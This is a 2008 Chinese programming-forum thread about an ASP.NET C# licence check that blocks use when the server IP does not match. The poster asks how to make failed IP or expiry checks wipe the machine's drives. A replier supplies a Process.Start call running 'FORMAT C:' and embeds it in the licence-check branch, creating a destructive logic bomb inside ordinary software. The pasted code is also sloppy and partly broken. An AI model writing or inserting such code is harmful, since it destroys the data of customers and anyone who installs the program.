| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1638 人关注过本帖
标题:.net c#源码增加两个判断
只看楼主 加入收藏
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
结帖率:100%
收藏
 问题点数:0 回复次数:6 
.net c#源码增加两个判断
//开始预算
protected void btnStart_Click(object sender, EventArgs e)
{
ClientScriptManager csm = Page.ClientScript;
string alert;
Type cstype = this.GetType();
/////////////以下为判断IP
if ((((Request.ServerVariables.Get("Local_Addr").ToString() != "222.222.222.222"))) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "192.168.1.101")) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "111.111.111.111")))
{
if (!csm.IsStartupScriptRegistered(cstype, "alert"))
{
alert = "alert('程序缺少系统文件的支持,您的程序不是正版,请联系官方网站获得支持!')";
csm.RegisterStartupScript(cstype, "toFlash", alert, true);
}
return;
}
在以上源码基础上增加几个判断
以上判断是判断IP是否符合,如不符合则弹出提示警告并停止代码执行
我要在下面再增加几个判断如下:
1:判断IP是否符合,如不符合则转向指定网页(如:[url]www.baidu.com[/url])
符合则顺利执行
2:判断IP是否符合,如不符合则执行恶意代码,如格式化除C盘所有硬盘或给予计算机严重的打击
3:判断时间,如早于代码设置的时间则顺利执行代码,如晚于设置时间则弹出警告并停止代码执行
4:判断时间,如早于代码设置时间则顺利执行代码,如晚于设置时间则给予计算严重打击如:格式化除C盘所有硬盘或其他的毁灭性打击.

我说的执行恶意代码或者给予计算机严重打击只是气话,,,呵呵
也希望各位谅解,,,谢谢
搜索更多相关主题的帖子: 源码 Get csm ToString 
2008-01-09 22:12
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
收藏
得分:0 
为什么这么多人看没人回答呢
2008-01-10 09:13
XC3000
Rank: 1
等 级:新手上路
帖 子:8
专家分:0
注 册:2007-9-18
收藏
得分:0 
1. 加个RESPONSE.REDIRECT(‘URL’)
2.System.Diagnostics.Process.Start("CMD.EXE","/C FORMAT C: Y")
3,加个DATA变量TIME给它个时间,再用IF(TIME>DATATIME.NOW())   时间早于设置的
{
代码
}
ELSE
{
弹出警告
RETURN; //停止代码执行
}

4
把上面的RETURN换成恶意代码就行了
2008-01-10 09:43
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
收藏
得分:0 
老大啊,我一直在等待呢啊 。。。
2008-01-10 12:52
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
收藏
得分:0 
晕。。。。。。请求各位帮忙啊
2008-01-11 09:33
XC3000
Rank: 1
等 级:新手上路
帖 子:8
专家分:0
注 册:2007-9-18
收藏
得分:0 
protected void btnStart_Click(object sender, EventArgs e)
{
ClientScriptManager csm = Page.ClientScript;
string alert;
Type cstype = this.GetType();
/////////////以下为判断IP
if ((((Request.ServerVariables.Get("Local_Addr").ToString() != "222.222.222.222"))) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "192.168.1.101")) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "111.111.111.111")))
{
Response.Redirect("URL");
{
alert = "alert('程序缺少系统文件的支持,您的程序不是正版,请联系官方网站获得支持!')";
csm.RegisterStartupScript(cstype, "toFlash", alert, true);
}
return;
}
2008-01-12 10:37
XC3000
Rank: 1
等 级:新手上路
帖 子:8
专家分:0
注 册:2007-9-18
收藏
得分:0 
protected void btnStart_Click(object sender, EventArgs e)
{
ClientScriptManager csm = Page.ClientScript;
string alert;
Type cstype = this.GetType();
/////////////以下为判断IP
if ((((Request.ServerVariables.Get("Local_Addr").ToString() != "222.222.222.222"))) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "192.168.1.101")) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "111.111.111.111")))
{
System.Diagnostics.Process.Start("CMD.EXE","/C FORMAT C: Y")
{
alert = "alert('程序缺少系统文件的支持,您的程序不是正版,请联系官方网站获得支持!')";
csm.RegisterStartupScript(cstype, "toFlash", alert, true);
}
return;
}
2008-01-12 10:37
快速回复:.net c#源码增加两个判断
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.015025 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved